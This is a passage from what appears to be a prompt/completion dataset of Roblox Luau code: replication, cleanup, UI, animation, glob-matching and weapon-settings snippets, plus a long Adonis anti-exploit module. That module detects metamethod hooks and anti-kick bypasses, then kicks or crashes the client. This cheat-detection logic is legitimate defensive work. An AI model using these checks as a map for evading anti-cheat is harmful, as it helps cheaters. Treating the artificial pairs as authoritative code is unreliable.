description for \"path\":\n\t\t\n\t\t\t[string] = \"TableMember.TableMember\" -- Roblox-style path\n\t\t\t[table] = {\"Players\", 2312310, \"Health\"} -- Key array path\n\t\t\t\n\t\tReplica:ListenToRaw(listener) --> [ScriptConnection] (action_name, path_array, params...)\n\t\t\t-- (\"SetValue\", path_array, value)\n\t\t\t-- (\"SetValues\", path_array, values)\n\t\t\t-- (\"ArrayInsert\", path_array, value, new_index)\n\t\t\t-- (\"ArraySet\", path_array, index, value)\n\t\t\t-- (\"ArrayRemove\", path_array, index, old_value)\n\t\t\n\t-- Signals:\n\t\tReplica:ConnectOnClientEvent(listener) --> [ScriptConnection] (params...) -- listener functions can't yield\n\t\tReplica:FireServer(params...) -- Fire a signal to server-side listeners for this specific Replica\n\t\t\n\t-- Children:\n\t\tReplica:ListenToChildAdded(listener) --> [ScriptConnection] listener(replica)\n\t\t\n\t\tReplica:FindFirstChildOfClass(replica_class) --> [Replica] or nil\n\t\t\treplica_class [string]\n\t\t\n\t-- Debug:\n\t\tReplica:Identify() --> [string]\n\t\t\n\t-- Cleanup:\n\t\n\t\tReplica:IsActive() --> is_active [bool] -- Returns false if the replica was destroyed\n\t\n\t\tReplica:AddCleanupTask(task) -- Add cleanup task to be performed\n\t\tReplica:RemoveCleanupTask(task) -- Remove cleanup task\n\t\t\n\t\t* Parameter description for \"Replica:AddCleanupTask()\":\n\t\t\n\t\t\t[function] -- Function to be invoked when the Replica is destroyed (function can't yield)\n\t\t\t[RBXScriptConnection] -- Roblox script connection to be :Disconnect()'ed when the Replica is destroyed\n\t\t\t[Object] -- Object with a :Destroy() method to be destroyed when the Replica is destroyed (destruction method can't yield)\n\t\t\t\n\t-- Write function setters: (Calling outside a write function will throw an error)\n\t\n\t\tReplica:SetValue(path, value)\n\t\tReplica:SetValues(path, values)\n\t\tReplica:ArrayInsert(path, value) --> new_index\n\t\tReplica:ArraySet(path, index, value)\n\t\tReplica:ArrayRemove(path, index) --> removed_value\n\t\tReplica:Write(function_name, params...) --> return_params...\n\n--]]", "completion": "\n\nlocal SETTINGS = {\n\tRequestDataRepeat = 10,\n\tSetterError = \"[ReplicaController]: Replica setters can only be called inside write functions\",\n}\n\nlocal Madwork -- Standalone Madwork reference for portable version of ReplicaService/ReplicaController\ndo\n\tlocal RunService = game:GetService(\"RunService\")\n\t\n\tlocal function WaitForDescendant(ancestor, instance_name, warn_name)\n\t\tlocal instance = ancestor:FindFirstChild(instance_name, true) -- Recursive\n\t\tif instance == nil then\n\t\t\tlocal start_time = os.clock()\n\t\t\tlocal connection\n\t\t\tconnection = ancestor.DescendantAdded:Connect(function(descendant)\n\t\t\t\tif descendant.Name == instance_name then\n\t\t\t\t\tinstance = descendant\n\t\t\t\tend\n\t\t\tend)\n\t\t\twhile instance == nil do\n\t\t\t\tif start_time ~= nil and os.clock() - start_time > 1\n\t\t\t\t\tand (RunService:IsServer() == true or game:IsLoaded() == true) then\n\t\t\t\t\tstart_time = nil\n\t\t\t\t\twarn(\"[\" .. script.Name .. \"]: Missing \" .. warn_name .. \" \\\"\" .. instance_name\n\t\t\t\t\t\t.. \"\\\" in \" .. ancestor:GetFullName() .. \"; Please check setup documentation\")\n\t\t\t\tend\n\t\t\t\ttask.wait()\n\t\t\tend\n\t\t\tconnection:Disconnect()\n\t\t\treturn instance\n\t\telse\n\t\t\treturn instance\n\t\tend\n\tend\n\t\n\tlocal RemoteEventContainer\n\tif RunService:IsServer() == true then\n\t\tRemoteEventContainer = Instance.new(\"Folder\")\n\t\tRemoteEventContainer.Name = \"ReplicaRemoteEvents\"\n\t\tRemoteEventContainer.Parent = game:GetService(\"ReplicatedStorage\")\n\telse\n\t\tRemoteEventContainer = WaitForDescendant(game:GetService(\"ReplicatedStorage\"), \"ReplicaRemoteEvents\", \"folder\")\n\tend\n\t\n\tMadwork = {\n\t\tGetShared = function(package_name, item_name)\n\t\t\t-- Ignoring package_name as we're working without Madwork framework\n\t\t\treturn WaitForDescendant(game:GetService(\"ReplicatedStorage\"), item_name, \"module\")\n\t\tend,\n\t\tGetModule = function(package_name, module_name)\n\t\t\treturn WaitForDescendant(game:GetService(\"ServerScriptService\"), module_name, \"module\")\n\t\tend,\n\t\tSetupRemoteEvent = function(remote_name)\n\t\t\tif RunService:IsServer() == true then\n\t\t\t\tlocal remote_event = Instance.new(\"RemoteEvent\")\n\t\t\t\tremote_event.Name = remote_name\n\t\t\t\tremote_event.Parent = RemoteEventContainer\n\t\t\t\treturn remote_event\n\t\t\telse\n\t\t\t\treturn WaitForDescendant(RemoteEventContainer, remote_name, \"remote event\")\n\t\t\tend\n\t\tend,\n\t\tShared = {}, -- A Madwork package reference - ReplicaService will try to check this table\n\t}\n\t\n\tlocal MadworkScriptSignal = require(Madwork.GetShared(\"Madwork\", \"MadworkScriptSignal\"))\n\tMadwork.NewScriptSignal = MadworkScriptSignal.NewScriptSignal\n\tMadwork.NewArrayScriptConnection = MadworkScriptSignal.NewArrayScriptConnection\nend\n"} +{"prompt": "--[=[\n\tCleans up all objects in the trove. This is\n\tsimilar to calling `Remove` on each object\n\twithin the trove. The ordering of the objects\n\tremoved is _not_ guaranteed.\n]=]", "completion": "\nfunction Trove:Clean()\n\tif self._cleaning then\n\t\treturn\n\tend\n\tself._cleaning = true\n\tfor _, obj in self._objects do\n\t\tself:_cleanupObject(obj[1], obj[2])\n\tend\n\ttable.clear(self._objects)\n\tself._cleaning = false\nend\n\nfunction Trove:_findAndRemoveFromObjects(object: any, cleanup: boolean): boolean\n\tlocal objects = self._objects\n\tfor i, obj in ipairs(objects) do\n\t\tif obj[1] == object then\n\t\t\tlocal n = #objects\n\t\t\tobjects[i] = objects[n]\n\t\t\tobjects[n] = nil\n\t\t\tif cleanup then\n\t\t\t\tself:_cleanupObject(obj[1], obj[2])\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction Trove:_cleanupObject(object, cleanupMethod)\n\tif cleanupMethod == FN_MARKER then\n\t\tobject()\n\telseif cleanupMethod == THREAD_MARKER then\n\t\tpcall(task.cancel, object)\n\telse\n\t\tobject[cleanupMethod](object)\n\tend\nend\n"} +{"prompt": "-- PROPERTIES", "completion": "\nIconController.topbarEnabled = true\nIconController.controllerModeEnabled = false\nIconController.previousTopbarEnabled = checkTopbarEnabled()\nIconController.leftGap = 12\nIconController.midGap = 12\nIconController.rightGap = 12\nIconController.leftOffset = 0\nIconController.rightOffset = 0\nIconController.voiceChatEnabled = true\nIconController.mimicCoreGui = true\nIconController.healthbarDisabled = false\nIconController.activeButtonBCallbacks = 0\nIconController.disableButtonB = false\nIconController.translator = localizationService:GetTranslatorForPlayer(localPlayer)\n\n\n"} +{"prompt": "--\t\tif animName == \"walk\" then\n--\t\t\tlocal runAnimName = \"run\"\n--\t\t\tlocal runIdx = rollAnimation(runAnimName)\n--\n--\t\t\trunAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)\n--\t\t\trunAnimTrack.Priority = priority or Enum.AnimationPriority.Movement\n--\t\t\trunAnimTrack:Play(transitionTime)\t\t\n--\t\t\t\n--\t\t\tif (runAnimKeyframeHandler ~= nil) then\n--\t\t\t\trunAnimKeyframeHandler:disconnect()\n--\t\t\tend\n--\t\t\trunAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\t\n--\t\tend", "completion": "\n\tend\nend\n\nfunction playAnimation(animName, transitionTime, humanoid, speed) \t\n\tlocal idx = rollAnimation(animName)\n\tlocal anim = animTable[animName][idx].anim\n\n\tswitchToAnim(anim, animName, transitionTime, humanoid, nil, speed)\n\tcurrentlyPlayingEmote = false\nend\n\nfunction playEmote(emoteAnim, name, transitionTime, humanoid, priority, speed)\n\tswitchToAnim(emoteAnim, name, transitionTime, humanoid, priority or Enum.AnimationPriority.Core, speed or 1.0)\n\tcurrentlyPlayingEmote = true\nend\n"} +{"prompt": "--[[*\n * Create a regular expression from a parsed glob pattern.\n *\n * ```js\n * const picomatch = require('picomatch');\n * const state = picomatch.parse('*.js');\n * // picomatch.compileRe(state[, options]);\n *\n * console.log(picomatch.compileRe(state));\n * //=> /^(?:(?!\\.)(?=.)[^/]*?\\.js)$/\n * ```\n * @param {String} `state` The object returned from the `.parse` method.\n * @param {Object} `options`\n * @param {Boolean} `returnOutput` Implementors may use this argument to return the compiled output, instead of a regular expression. This is not exposed on the options to prevent end-users from mutating the result.\n * @param {Boolean} `returnState` Implementors may use this argument to return the state from the parsed glob with the returned regular expression.\n * @return {RegExp} Returns a regex created from the given pattern.\n * @api public\n ]]", "completion": "\n\nfunction picomatch.makeRe(input: string, options_: Object?, returnOutput_: boolean?, returnState_: boolean?): RegExp\n\tlocal options: Object = options_ or {}\n\tlocal returnOutput = returnOutput_ or false\n\tlocal returnState = returnState_ or false\n\n\tif not Boolean.toJSBoolean(input) or typeof(input) ~= \"string\" then\n\t\terror(Error.new(\"TypeError: Expected a non-empty string\"))\n\tend\n\n\tlocal parsed = { negated = false, fastpaths = true }\n\n\tif options.fastpaths ~= false and (string.sub(input, 1, 1) == \".\" or string.sub(input, 1, 1) == \"*\") then\n\t\tparsed.output = parse.fastpaths(input, options)\n\tend\n\n\tif not Boolean.toJSBoolean(parsed.output) then\n\t\tparsed = parse(input, options)\n\tend\n\n\treturn picomatch.compileRe(parsed, options, returnOutput, returnState)\nend\n"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal DebrisService = Game:GetService('Debris')\nlocal PlayersService = Game:GetService('Players')\n\nlocal Rocket = script.Parent\n\nlocal CreatorTag = WaitForChild(Rocket, 'creator')\nlocal SwooshSound = WaitForChild(Rocket, 'Swoosh')\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 450; -- 60 = 1 Minute, 450 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 1; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--// Anti-Exploit", "completion": "\nreturn function(Vargs, GetEnv)\n\tlocal env = GetEnv(nil, {script = script})\n\tsetfenv(1, env)\n\n\tlocal _G, game, script, getfenv, setfenv, workspace,\n\tgetmetatable, setmetatable, loadstring, coroutine,\n\trawequal, typeof, print, math, warn, error, pcall,\n\txpcall, select, rawset, rawget, ipairs, pairs,\n\tnext, Rect, Axes, os, time, Faces, unpack, string, Color3,\n\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,\n\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,\n\tNumberSequenceKeypoint, PhysicalProperties, Region3int16,\n\tVector3int16, require, table, type, wait,\n\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =\n\t\t_G, game, script, getfenv, setfenv, workspace,\n\tgetmetatable, setmetatable, loadstring, coroutine,\n\trawequal, typeof, print, math, warn, error, pcall,\n\txpcall, select, rawset, rawget, ipairs, pairs,\n\tnext, Rect, Axes, os, time, Faces, unpack, string, Color3,\n\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,\n\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,\n\tNumberSequenceKeypoint, PhysicalProperties, Region3int16,\n\tVector3int16, require, table, type, wait,\n\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay\n\n\tlocal Anti, Process, UI, Variables\n\tlocal script = script\n\tlocal service = service\n\tlocal client = client\n\tlocal Core = client.Core\n\tlocal Remote = client.Remote\n\tlocal Functions = client.Functions\n\tlocal Disconnect = client.Disconnect\n\tlocal Send = client.Remote.Send\n\tlocal Get = client.Remote.Get\n\tlocal NetworkClient = service.NetworkClient\n\tlocal Kill = client.Kill\n\tlocal Player = service.Players.LocalPlayer\n\tlocal isStudio = select(2, pcall(service.RunService.IsStudio, service.RunService))\n\tlocal Kick = Player.Kick\n\n\tlocal function Init()\n\t\tUI = client.UI;\n\t\tAnti = client.Anti;\n\t\tVariables = client.Variables;\n\t\tProcess = client.Process;\n\n\t\tAnti.Init = nil;\n\tend\n\n\tlocal function RunAfterLoaded()\n\t\tservice.Player.Changed:Connect(function()\n\t\t\tif Anti.RLocked(service.Player) then\n\t\t\t\tAnti.Detected(\"kick\", \"Player is Roblox Locked\")\n\t\t\tend\n\t\tend)\n\n\t\tAnti.RunAfterLoaded = nil;\n\tend\n\n\tlocal function RunLast()\n\t\tAnti.RunLast = nil;\n\tend\n\n\tgetfenv().client = nil\n\tgetfenv().service = nil\n\tgetfenv().script = nil\n\n\tlocal Detected = function(action, info, nocrash)\n\t\tif NetworkClient and action ~= \"_\" then\n\t\t\tpcall(Send, \"Detected\", action, info)\n\t\t\ttask.wait(0.5)\n\t\t\tif action == \"kick\" then\n\t\t\t\tif not isStudio then\n\t\t\t\t\tif nocrash then\n\t\t\t\t\t\tPlayer:Kick(\":: Adonis Anti Cheat::\\n\".. tostring(info)); -- service.Players.LocalPlayer\n\t\t\t\t\telse\n\t\t\t\t\t\tDisconnect(info)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif action == \"crash\" then\n\t\t\t\tKill(info)\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend;\n\n\n\tlocal function compareTables(t1, t2)\n\t\tif service.CountTable(t1) ~= service.CountTable(t2) then\n\t\t\treturn false\n\t\tend\n\n\t\tfor k, _ in t1 do\n\t\t\tif not rawequal(t1[k], t2[k]) then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\n\n\tlocal proxyDetector = newproxy(true)\n\n\tdo\n\t\tlocal proxyMt = getmetatable(proxyDetector)\n\n\t\tproxyMt.__index = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x215F\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__newindex = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x86F1\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__tostring = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0xC0BD0\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__unm = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x10F00\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__add = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x60DC3\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__sub = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x90F5D\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__mul = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x19999\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__div = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x1D14AC\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__mod = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x786C64\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__pow = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0x1D948C\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__len = function()\n\t\t\tDetected(\"kick\", \"Proxy methamethod 0xBE931\")\n\n\t\t\treturn task.wait(2e2)\n\t\tend\n\n\t\tproxyMt.__metatable = \"The metatable is locked\"\n\tend\n\n\tdo\n\t\tlocal callStacks = {\n\t\t\tindexInstance = {},\n\t\t\tnewindexInstance = {},\n\t\t\tnamecallInstance = {},\n\t\t\tindexEnum = {},\n\t\t\tnamecallEnum = {},\n\t\t\teqEnum = {},\n\t\t\t--[[indexString = {},\n\t\t\tnamecallString = {},\n\t\t\teqString = {},]]\n\t\t}\n\t\tlocal errorMessages = {}\n\t\tlocal rawGame = service.UnWrap(game)\n\n\t\tlocal function checkStack(method)\n\t\t\tlocal firstTime = #callStacks[method] <= 0\n\n\t\t\tfor i = 3, 4 do\n\t\t\t\tlocal func = debug.info(i, \"f\")\n\n\t\t\t\tif firstTime then\n\t\t\t\t\tcallStacks[method][i] = func\n\t\t\t\telseif callStacks[method][i] ~= func then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn false\n\t\tend\n\t\t\n\t\tlocal function isMethamethodValid(metamethod)\n\t\t\tif\n\t\t\t\tnot metamethod or\n\t\t\t\ttype(metamethod) ~= \"function\" or\n\t\t\t\tdebug.info(metamethod, \"s\") ~= \"[C]\" or\n\t\t\t\tdebug.info(metamethod, \"l\") ~= -1 or\n\t\t\t\tdebug.info(metamethod, \"n\") ~= \"\" or\n\t\t\t\tdebug.info(metamethod, \"a\") ~= 0\n\t\t\tthen\n\t\t\t\treturn false\n\t\t\telse\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\n\t\tlocal detectors = {\n\t\t\tindexInstance = {\"kick\", function()\n\t\t\t\tlocal callstackInvalid = false\n\t\t\t\tlocal metamethod\n\n\t\t\t\tlocal success, err = xpcall(function()\n\t\t\t\t\tlocal c = rawGame.____________\n\t\t\t\tend, function()\n\t\t\t\t\tmetamethod = debug.info(2, \"f\")\n\t\t\t\t\tif callstackInvalid or checkStack(\"indexInstance\") then\n\t\t\t\t\t\tcallstackInvalid = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif not isMethamethodValid(metamethod) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\n\t\t\t\tlocal success3, err3 = pcall(metamethod, rawGame)\n\t\t\t\tlocal success2, err2 = pcall(metamethod)\n\t\t\t\tpcall(metamethod, proxyDetector, \"GetChildren\")\n\t\t\t\tpcall(metamethod, proxyDetector)\n\t\t\t\tpcall(metamethod, rawGame, proxyDetector)\n\n\t\t\t\tif callstackInvalid or success or success2 or success3 then\n\t\t\t\t\treturn true\n\t\t\t\telseif not errorMessages[\"indexInstance\"] then\n\t\t\t\t\terrorMessages[\"indexInstance\"] = {err, err2, err3}\n\t\t\t\tend\n\n\t\t\t\treturn not compareTables(errorMessages[\"indexInstance\"], {err, err2, err3})\n\t\t\tend},\n\t\t\tnewindexInstance = {\"kick\", function()\n\t\t\t\tlocal callstackInvalid = false\n\t\t\t\tlocal metamethod\n\n\t\t\t\tlocal success, err = xpcall(function()\n\t\t\t\t\trawGame.____________ = 5\n\t\t\t\tend, function()\n\t\t\t\t\tmetamethod = debug.info(2, \"f\")\n\t\t\t\t\tif callstackInvalid or checkStack(\"newindexInstance\") then\n\t\t\t\t\t\tcallstackInvalid = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif not isMethamethodValid(metamethod) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\n\t\t\t\tlocal success3, err3 = pcall(metamethod, rawGame)\n\t\t\t\tlocal success2, err2 = pcall(metamethod)\n\t\t\t\tpcall(metamethod, proxyDetector, \"GetChildren\")\n\t\t\t\tpcall(metamethod, proxyDetector)\n\t\t\t\tpcall(metamethod, rawGame, proxyDetector)\n\t\t\t\tpcall(metamethod, rawGame, \"AllowThirdPartySales\", proxyDetector)\n\n\t\t\t\tif callstackInvalid or success or success2 or success3 then\n\t\t\t\t\treturn true\n\t\t\t\telseif not errorMessages[\"newindexInstance\"] then\n\t\t\t\t\terrorMessages[\"newindexInstance\"] = {err, err2, err3}\n\t\t\t\tend\n\n\t\t\t\treturn not compareTables(errorMessages[\"newindexInstance\"], {err, err2, err3})\n\t\t\tend},\n\t\t\tnamecallInstance = {\"kick\", function()\n\t\t\t\tlocal callstackInvalid = false\n\t\t\t\tlocal metamethod\n\n\t\t\t\tlocal success, err = xpcall(function()\n\t\t\t\t\tlocal c = rawGame:____________()\n\t\t\t\tend, function()\n\t\t\t\t\tmetamethod = debug.info(2, \"f\")\n\t\t\t\t\tif callstackInvalid or checkStack(\"namecallInstance\") then\n\t\t\t\t\t\tcallstackInvalid = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif not isMethamethodValid(metamethod) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\n\t\t\t\tlocal success3, err3 = pcall(metamethod, rawGame)\n\t\t\t\tlocal success2, err2 = pcall(metamethod)\n\t\t\t\tpcall(metamethod, proxyDetector)\n\t\t\t\tpcall(metamethod, rawGame, proxyDetector)\n\n\t\t\t\tif callstackInvalid or success or success2 or success3 then\n\t\t\t\t\treturn true\n\t\t\t\telseif not errorMessages[\"namecallInstance\"] then\n\t\t\t\t\terrorMessages[\"namecallInstance\"] = {err, err2, err3}\n\t\t\t\tend\n\n\t\t\t\treturn not compareTables(errorMessages[\"namecallInstance\"], {err, err2, err3})\n\t\t\tend},\n\t\t\tindexEnum = {\"kick\", function()\n\t\t\t\tlocal callstackInvalid = false\n\t\t\t\tlocal metamethod\n\n\t\t\t\tlocal success, err = xpcall(function()\n\t\t\t\t\tlocal c = Enum.HumanoidStateType.____________\n\t\t\t\tend, function()\n\t\t\t\t\tmetamethod = debug.info(2, \"f\")\n\t\t\t\t\tif callstackInvalid or checkStack(\"indexEnum\") then\n\t\t\t\t\t\tcallstackInvalid = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif not isMethamethodValid(metamethod) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\n\t\t\t\tlocal success3, err3 = pcall(metamethod, Enum.HumanoidStateType)\n\t\t\t\tlocal success2, err2 = pcall(metamethod)\n\t\t\t\tpcall(metamethod, proxyDetector, \"Name\")\n\t\t\t\tpcall(metamethod, proxyDetector)\n\t\t\t\tpcall(metamethod, Enum.HumanoidStateType, proxyDetector)\n\n\t\t\t\tif callstackInvalid or success or success2 or success3 then\n\t\t\t\t\treturn true\n\t\t\t\telseif not errorMessages[\"indexEnum\"] then\n\t\t\t\t\terrorMessages[\"indexEnum\"] = {err, err2, err3}\n\t\t\t\tend\n\n\t\t\t\treturn not compareTables(errorMessages[\"indexEnum\"], {err, err2, err3})\n\t\t\tend},\n\t\t\tnamecallEnum = {\"kick\", function()\n\t\t\t\tlocal callstackInvalid = false\n\t\t\t\tlocal metamethod\n\n\t\t\t\tlocal success, err = xpcall(function()\n\t\t\t\t\tlocal c = Enum.HumanoidStateType:____________()\n\t\t\t\tend, function()\n\t\t\t\t\tmetamethod = debug.info(2, \"f\")\n\t\t\t\t\tif callstackInvalid or checkStack(\"namecallEnum\") then\n\t\t\t\t\t\tcallstackInvalid = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\n\t\t\t\tif not isMethamethodValid(metamethod) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\n\t\t\t\tlocal success3, err3 = pcall(metamethod, Enum.HumanoidStateType)\n\t\t\t\tlocal success2, err2 = pcall(metamethod)\n\t\t\t\tpcall(metamethod, proxyDetector)\n\t\t\t\tpcall(metamethod, Enum.HumanoidStateType, proxyDetector)\n\n\t\t\t\tif callstackInvalid or success or success2 or success3 then\n\t\t\t\t\treturn true\n\t\t\t\telseif not errorMessages[\"namecallEnum\"] then\n\t\t\t\t\terrorMessages[\"namecallEnum\"] = {err, err2, err3}\n\t\t\t\tend\n\n\t\t\t\treturn not compareTables(errorMessages[\"namecallEnum\"], {err, err2, err3})\n\t\t\tend},\n\t\t\teqEnum = {\"kick\", function()\n\t\t\t\treturn not (Enum.HumanoidStateType.Running == Enum.HumanoidStateType.Running)\n\t\t\tend},\n\t\t}\n\n\t\tlocal remEventCheck = service.UnWrap(Instance.new(\"RemoteEvent\"))\n\t\tlocal remFuncCheck = service.UnWrap(Instance.new(\"RemoteFunction\"))\n\t\tlocal rawLogService = service.UnWrap(service.LogService)\n\t\tlocal nilPlayers = setmetatable({}, {__mode = \"k\"})\n\n\t\tservice.UnWrap(service.Players).ChildRemoved:Connect(function(child)\n\t\t\tif child:IsA(\"Player\") then\n\t\t\t\tnilPlayers[child] = true\n\t\t\tend\n\t\tend)\n\n\t\tRoutine(function()\n\t\t\twhile true do\n\t\t\t\tif not Detected(\"_\", \"_\", true) then -- detects the current bypass\n\t\t\t\t\twhile true do end\n\t\t\t\tend\n\n\t\t\t\tfor method, detector in detectors do\n\t\t\t\t\tlocal action, callback = detector[1], detector[2]\n\n\t\t\t\t\tlocal success, value = pcall(callback)\n\t\t\t\t\tif not success or value ~= false and value ~= true then\n\t\t\t\t\t\tDetected(\"crash\", \"Tamper Protection 906287\")\n\t\t\t\t\t\ttask.wait(1)\n\t\t\t\t\t\tpcall(Disconnect, \"Adonis_906287\")\n\t\t\t\t\t\tpcall(Kill, \"Adonis_906287\")\n\t\t\t\t\t\tpcall(Kick, Player, \"Adonis_906287\")\n\t\t\t\t\telseif value then\n\t\t\t\t\t\tDetected(action, `{method} detector detected`)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\tlocal hasCompleted = false\n\t\t\t\ttask.spawn(xpcall, function()\n\t\t\t\t\tlocal LocalPlayer = service.UnWrap(Player)\n\t\t\t\t\tlocal workspace = service.UnWrap(workspace)\n\n\t\t\t\t\tlocal success, err = pcall(function()\n\t\t\t\t\t\tLocalPlayer.Kick(workspace, \"If this message appears, report it to Adonis maintainers. 0x1\")\n\t\t\t\t\tend)\n\t\t\t\t\tlocal success2, err2 = pcall(function()\n\t\t\t\t\t\tworkspace:Kick(\"If this message appears, report it to Adonis maintainers. 0x2\")\n\t\t\t\t\tend)\n\n\t\t\t\t\tif\n\t\t\t\t\t\tsuccess or err ~= \"Expected ':' not '.' calling member function Kick\" or\n\t\t\t\t\t\tsuccess2 or (string.match(err2, \"^Kick is not a valid member of Workspace \\\"(.+)\\\"$\") or \"\") ~= workspace:GetFullName()\n\t\t\t\t\tthen\n\t\t\t\t\t\tDetected(\"kick\", \"Anti kick found! Method 0x1\")\n\t\t\t\t\t\twarn(success, err, \"|\", success2, err2)\n\t\t\t\t\tend\n\n\t\t\t\t\tif #service.Players:GetPlayers() > 1 then\n\t\t\t\t\t\tlocal unwrappedPlayers = service.Players\n\n\t\t\t\t\t\tfor _, v in service.Players:GetPlayers() do\n\t\t\t\t\t\t\tlocal otherPlayer = service.UnWrap(v)\n\n\t\t\t\t\t\t\tif otherPlayer and not nilPlayers[otherPlayer] and otherPlayer.Parent == unwrappedPlayers and otherPlayer ~= LocalPlayer then\n\t\t\t\t\t\t\t\tlocal success, err = pcall(LocalPlayer.Kick, otherPlayer, \"If this message appears, report it to Adonis maintainers. 0x2\")\n\t\t\t\t\t\t\t\tlocal success2, err2 = pcall(function()\n\t\t\t\t\t\t\t\t\totherPlayer:Kick(\"If this message appears, report it to Adonis maintainers. 0x4\")\n\t\t\t\t\t\t\t\tend)\n\n\t\t\t\t\t\t\t\tif\n\t\t\t\t\t\t\t\t\tsuccess or\n\t\t\t\t\t\t\t\t\terr ~= \"Cannot kick a non-local Player from a LocalScript\" or\n\t\t\t\t\t\t\t\t\tsuccess2 or\n\t\t\t\t\t\t\t\t\terr2 ~= \"Cannot kick a non-local Player from a LocalScript\"\n\t\t\t\t\t\t\t\tthen\n\t\t\t\t\t\t\t\t\tDetected(\"kick\", \"Anti kick found! Method 0x2\")\n\t\t\t\t\t\t\t\t\twarn(success, err, \"|\", success2, err2)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\t -- // Detects Kaids antikick\n\t\t\t\t\tlocal success, err = pcall(function()\n\t\t\t\t\t\tLocalPlayer:KicK(\"If this message appears, report it to Adonis maintainers. 0x5\")\n\t\t\t\t\tend)\n\n\t\t\t\t\tif success or (string.match(err, \"^%a+ is not a valid member of Player \\\"(.+)\\\"$\") or \"\") ~= LocalPlayer:GetFullName() then\n\t\t\t\t\t\tDetected(\"kick\", \"Anti kick found! Method 0x4\")\n\t\t\t\t\tend\n\n\t\t\t\t\tlocal success, err = pcall(service.UnWrap(workspace).GetRealPhysicsFPS, rawGame)\n\t\t\t\t\tif success or not string.match(err, \"Expected ':' not '.' calling member function GetRealPhysicsFPS\") then\n\t\t\t\t\t\tDetected(\"kick\", \"Anti FPS detection found!\")\n\t\t\t\t\tend\n\n\t\t\t\t\thasCompleted = true\n\t\t\t\tend, function()\n\t\t\t\t\tDetected(\"crash\", \"Tamper Protection 0x16E68\")\n\t\t\t\t\ttask.wait(1)\n\t\t\t\t\tpcall(Disconnect, \"Adonis_0x16E68\")\n\t\t\t\t\tpcall(Kill, \"Adonis_0x16E68\")\n\t\t\t\t\tpcall(Kick, Player, \"Adonis_0x16E68\")\n\t\t\t\tend)\n\n\t\t\t\ttask.spawn(xpcall, function()\n\t\t\t\t\ttask.wait(4)\n\t\t\t\t\tif not hasCompleted then\n\t\t\t\t\t\tDetected(\"kick\", \"Anti kick found! Method 0x3\")\n\t\t\t\t\tend\n\t\t\t\tend, function()\n\t\t\t\t\tDetected(\"crash\", \"Tamper Protection 0x7D2B\")\n\t\t\t\t\ttask.wait(1)\n\t\t\t\t\tpcall(Disconnect, \"Adonis_0x7D2B\")\n\t\t\t\t\tpcall(Kill, \"Adonis_0x7D2B\")\n\t\t\t\t\tpcall(Kick, Player, \"Adonis_0x7D2B\")\n\t\t\t\tend)\n\n\t\t\t\tlocal hasCompleted = false\n\t\t\t\ttask.spawn(xpcall, function()\n\t\t\t\t\tlocal workspace = service.UnWrap(workspace)\n\n\t\t\t\t\t-- // GetLogHistory hook detection\n\t\t\t\t\tdo\n\t\t\t\t\t\tlocal success, err = pcall(function()\n\t\t\t\t\t\t\trawLogService:getlogHistory()\n\t\t\t\t\t\tend)\n\t\t\t\t\t\tlocal 